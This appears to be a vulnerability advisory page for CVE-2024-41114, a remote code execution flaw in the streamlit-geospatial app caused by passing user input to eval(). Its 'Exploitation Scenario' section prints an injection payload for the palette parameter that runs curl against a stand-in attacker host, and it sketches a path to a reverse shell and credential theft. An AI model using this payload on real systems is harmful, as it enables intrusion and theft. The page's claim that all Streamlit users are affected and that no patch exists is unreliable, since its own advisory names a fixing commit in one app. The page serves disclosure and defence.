CVE-2024-41114: Streamlit RCE — CRITICAL

CISO Take

Any exposed instance of streamlit-geospatial is fully compromised with a single HTTP request — no credentials, no complexity. ML/data science teams routinely share Streamlit apps internally without network controls, and this app often runs with cloud credentials in scope. Patch to commit c4f81d9 immediately and audit all Streamlit deployments for eval()/exec() on user input.

What is the risk?

Critical. CVSS 9.8 with zero prerequisites — unauthenticated, no user interaction, low complexity, network-accessible. Real-world exposure is high because data science teams habitually deploy Streamlit apps without authentication layers. ML infrastructure is high-value post-exploitation: it typically holds cloud credentials in environment variables, has access to data lakes and model registries, and is poorly monitored compared to production systems. This is as exploitable as it gets.

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Streamlit	pip	—	No patch
45.0K OpenSSF 7.2 2.9K dependents Pushed 3d ago 7% patched ~0d to patch Full package profile →

Do you use Streamlit? You're affected.

How severe is it?

CVSS 3.1

9.8 / 10

EPSS

1.4%

chance of exploitation in 30 days

Higher than 69% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR None

UI None

S Unchanged

C High

I High

A High

What should I do?

5 steps

PATCH

Update to commit c4f81d9616d40c60584e36abb15300853a66e489 or later — the fix replaces eval() with a safe allowlist approach.
ISOLATE

Immediately restrict network access to any unpatched instance; Streamlit apps must never be internet-exposed without a WAF and authentication.
AUDIT

Run grep -r 'eval(' across all internal ML/data science apps — this antipattern is widespread in notebooks-turned-apps.
DETECT

Review web server logs for unusual palette parameter values; monitor for unexpected child processes spawned by Python processes and anomalous outbound connections.
ROTATE

If the instance was exposed, rotate all credentials accessible from that environment (cloud keys, API tokens, SSH keys).

What does CISA's SSVC say?

Decision Attend

Exploitation poc

Automatable Yes

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Data Extraction Framework Inference AML.T0025 - Exfiltration via Cyber Means AML.T0049 - Exploit Public-Facing Application AML.T0050 - Command and Scripting Interpreter AML.T0072 - Reverse Shell

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15(4) - Accuracy, Robustness and Cybersecurity

ISO 42001

A.6.2.6 - AI System Security — Secure Coding and Input Validation

NIST AI RMF

MS-2.5 - AI Risk Treatment — Vulnerability Management

OWASP LLM Top 10

LLM05:2025 - Improper Output Handling

Frequently Asked Questions

What is CVE-2024-41114?

Any exposed instance of streamlit-geospatial is fully compromised with a single HTTP request — no credentials, no complexity. ML/data science teams routinely share Streamlit apps internally without network controls, and this app often runs with cloud credentials in scope. Patch to commit c4f81d9 immediately and audit all Streamlit deployments for eval()/exec() on user input.

Is CVE-2024-41114 actively exploited?

Proof-of-concept exploit code is publicly available for CVE-2024-41114, increasing the risk of exploitation.

How to fix CVE-2024-41114?

1. PATCH: Update to commit c4f81d9616d40c60584e36abb15300853a66e489 or later — the fix replaces eval() with a safe allowlist approach. 2. ISOLATE: Immediately restrict network access to any unpatched instance; Streamlit apps must never be internet-exposed without a WAF and authentication. 3. AUDIT: Run grep -r 'eval(' across all internal ML/data science apps — this antipattern is widespread in notebooks-turned-apps. 4. DETECT: Review web server logs for unusual palette parameter values; monitor for unexpected child processes spawned by Python processes and anomalous outbound connections. 5. ROTATE: If the instance was exposed, rotate all credentials accessible from that environment (cloud keys, API tokens, SSH keys).

What systems are affected by CVE-2024-41114?

This vulnerability affects the following AI/ML architecture patterns: ML UI / data science web apps, Geospatial ML pipelines, Streamlit-based model demos and internal tools, Shared data science infrastructure, Cloud-connected ML compute environments.

What is the CVSS score for CVE-2024-41114?

CVE-2024-41114 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 1.40%.

What is the AI security impact?

Affected AI Architectures

ML UI / data science web appsGeospatial ML pipelinesStreamlit-based model demos and internal toolsShared data science infrastructureCloud-connected ML compute environments

MITRE ATLAS Techniques

AML.T0025 Exfiltration via Cyber Means

AML.T0049 Exploit Public-Facing Application

AML.T0050 Command and Scripting Interpreter

AML.T0072 Reverse Shell

Compliance Controls Affected

EU AI Act: Article 15(4)

ISO 42001: A.6.2.6

NIST AI RMF: MS-2.5

OWASP LLM Top 10: LLM05:2025

What are the technical details?

Original Advisory

streamlit-geospatial is a streamlit multipage app for geospatial applications. Prior to commit c4f81d9616d40c60584e36abb15300853a66e489, the `palette` variable on line 430 in `pages/1_📷_Timelapse.py` takes user input, which is later used in the `eval()` function on line 435, leading to remote code execution. Commit c4f81d9616d40c60584e36abb15300853a66e489 fixes this issue.

Exploitation Scenario

An adversary discovers a publicly exposed streamlit-geospatial instance via Shodan or a simple Google dork for 'Streamlit' plus geospatial terms. They navigate to the Timelapse page and submit a palette value of `__import__('os').popen('curl http://attacker.com/beacon').read()`. The eval() on line 435 executes this immediately. They escalate by injecting a reverse shell payload, gaining interactive access to the ML server. Within minutes they enumerate environment variables, find AWS credentials with S3 and SageMaker permissions, exfiltrate training datasets, and deploy a persistent backdoor in a shared model artifact. Total exploit time: under 5 minutes. Zero AI/ML expertise required.

Weaknesses (CWE)

CWE-20 Improper Input Validation

CWE-20 — Improper Input Validation: The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

[Architecture and Design] Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
[Architecture and Design] Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).

Source: MITRE CWE corpus.